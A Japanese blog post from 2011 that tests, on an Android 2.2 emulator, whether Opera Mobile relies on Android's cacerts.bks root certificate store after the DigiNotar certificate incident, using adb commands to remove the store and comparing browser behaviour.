2011年8月、DigiNotar社でサーバ証明書が不正に発行されてしまう事件が発覚しました。この事件の対処として、Windowsや主要なブラウザ(Mozilla Firefox, Opera)が DigiNotar社のルート証明書を「信頼できない証明書」とするアップデートを提供しました(Wikipedia 記事)。

しかし、Android 端末では cacerts.bks に DigiNotar社のルート証明書が登録されている端末があるようです(参考情報を参照)。Android 端末には容易にアップデートを提供できない事情*2があると言われていることから、DigiNotar社のルート証明書を削除する対処が難しいと推測します。

ここで「ブラウザアプリがすべて Android に搭載されているルート証明書一覧を使うのか」という疑問がわきました。Windows で動作するブラウザでも Mozilla FirefoxOpera は(Windows とは別に)独自に管理しているルート証明書一覧を使っています。このことから、「Android アプリ「Opera Mobile」や「Firefox」でも独自に管理しているルート証明書一覧を使っているのではないか?」と考えました。この疑問を解消するために、例として Android アプリ「Opera Mobile」が実際に Android 端末に搭載しているルート証明書一覧を使っているか調べてみました。

確認手順

次の手順で、「Opera Mobile」が cacerts.bks を使っているか調べました。

Androidエミュレータ、アプリのバージョンは次の表の通りです。この手順を実施すると Android 端末の動作に支障が出る可能性があることから、Android 端末ではなく Android エミュレータを使いました。この手順にて https://www.jpcert.or.jp/ にアクセスしていますが、特に意図して選択したわけではありません(思いつきです:))。通常証明書関連の警告が出ずに閲覧できる https サイトならどこでもよいと思っています。

エミュレータAndroidアプリ名バージョン*3
Androidエミュレータ2.2
ブラウザ2.2
Opera Mobile11.10.1109081720
手順1

まず「ブラウザ」、「Opera Mobile」で https://www.jpcert.or.jp を閲覧します。それぞれのアプリともに証明書に関連する警告が出ずに閲覧できることを確認しました(下図)。

f:id:kaito834:20111010122944p:image:w289:h288

手順2

続いて、Android エミュレータから /system/etc/security/cacerts.bks を削除します。この削除手順については、id:papaking_ken さんのブログ記事 を参考にさせていただきました。お手元の環境で同様の手順を実施する場合、各コマンドにパスが通っていることなど適宜置き換えてください。

(1) 「-partion-size」オプションに 128 を設定して、Android エミュレータを起動する。
$>emulator.exe -avd Android2.2 -partition-size 128

(2) /system 領域の書き込みを許可するため、「adb remount」コマンドを実行する。
$>adb -e remount
remount succeeded

(3) /system/etc/security/cacerts.bks を削除する。
$>adb -e shell
# cd /system/etc/security
cd /system/etc/security
# ls
ls
otacerts.zip
cacerts.bks
# rm cacerts.bks
rm cacerts.bks
# ls
ls
otacerts.zip

(4) /system 領域の YAFFS2 イメージを取得する。
(4)-1. mkfs.yaffs2.arm を Android エミュレータに転送する。
$>adb -e push mkfs.yaffs2.arm /data/local/
105 KB/s (463072 bytes in 4.296s)

(4)-2. mkfs.yaffs2.arm で YAFFS2 イメージを作成する。
$>adb -e shell
# cd /data/local
cd /data/local
# ls
ls
mkfs.yaffs2.arm
tmp
# chmod 755 mkfs.yaffs2.arm
chmod 755 mkfs.yaffs2.arm
# /data/local/mkfs.yaffs2.arm /system /sdcard/system.img
/data/local/mkfs.yaffs2.arm /system /sdcard/system.img
mkfs.yaffs2: Android YAFFS2 Tool,Build by PowerGUI
            at http://www.openhandsetalliance.org.cn
Building...
Build Ok.
# exit
exit

(4)-3. 作成したイメージを PC に転送する。
$>adb -e pull /sdcard/system.img .
63 KB/s (81054336 bytes in 1247.359s)

(5). 「-system」オプションに (4) で作成したイメージを設定して、Android エミュレータを起動する。
$>emulator.exe -avd Android2.2 -system system.img

(5) で起動した Android エミュレータに「adb shell」で接続すると、/system/etc/security/cacerts.bks がないことが確認できます。

$>adb -e shell
# cd /system/etc/security/
cd /system/etc/security/
# ls
ls
otacerts.zip
#
手順3

cacerts.bks を削除した状態で、改めて「ブラウザ」、「Opera Mobile」で https://www.jpcert.or.jp を閲覧します。この結果「ブラウザ」は異常終了してしまうこと、「Opera Mobile」は手順1と同様に閲覧できることを確認しました(下図)。

f:id:kaito834:20111010122945p:image:w289:h288

「ブラウザ」が異常終了したとき、「adb logcat」コマンドでログを確認してみると以下のようなエラーが記録されていました。エラー内容から「ブラウザ」が SSL サーバ証明書を検証するところでエラーが生じていると推測します。手順1 と手順3では cacerts.bks の有無しか違いがないことから、cacerts.bks がないことで SSL サーバ証明書の検証に失敗したと判断できます。

E/AndroidRuntime(  242): FATAL EXCEPTION: http3
E/AndroidRuntime(  242): java.lang.NullPointerException
E/AndroidRuntime(  242):        at android.net.http.CertificateChainValidator.doHandshakeAndValidateServerCertificates(CertificateChainValidator.java:194)
E/AndroidRuntime(  242):        at android.net.http.HttpsConnection.openConnection(HttpsConnection.java:308)
E/AndroidRuntime(  242):        at android.net.http.Connection.openHttpConnection(Connection.java:358)
E/AndroidRuntime(  242):        at android.net.http.Connection.processRequests(Connection.java:219)
E/AndroidRuntime(  242):        at android.net.http.ConnectionThread.run(ConnectionThread.java:113)
W/ActivityManager(   59):   Force finishing activity com.android.browser/.BrowserActivity

一方「Opera Mobile」では手順1, 手順3の結果に違いがありません。cacerts.bks の有無に関わらず結果が変わらないことから、「Opera Mobile」は Android に搭載されているルート証明書一覧(cacerts.bks)を使っていないと判断しました。

参考情報

*1http://developer.android.com/ で「cacerts.bks」を検索しても具体的な情報がありませんでした。インターネット上に cacerts.bks がルート証明書一覧であることを示す情報が多いことから、この認識が妥当と考えています。

*2IPA『スマートフォンへの脅威と対策』に関するレポートを参照してください。

*3:アプリのバージョン情報は、[設定]-[アプリケーション]-[アプリケーションの管理]で確認したバージョンを掲載しています。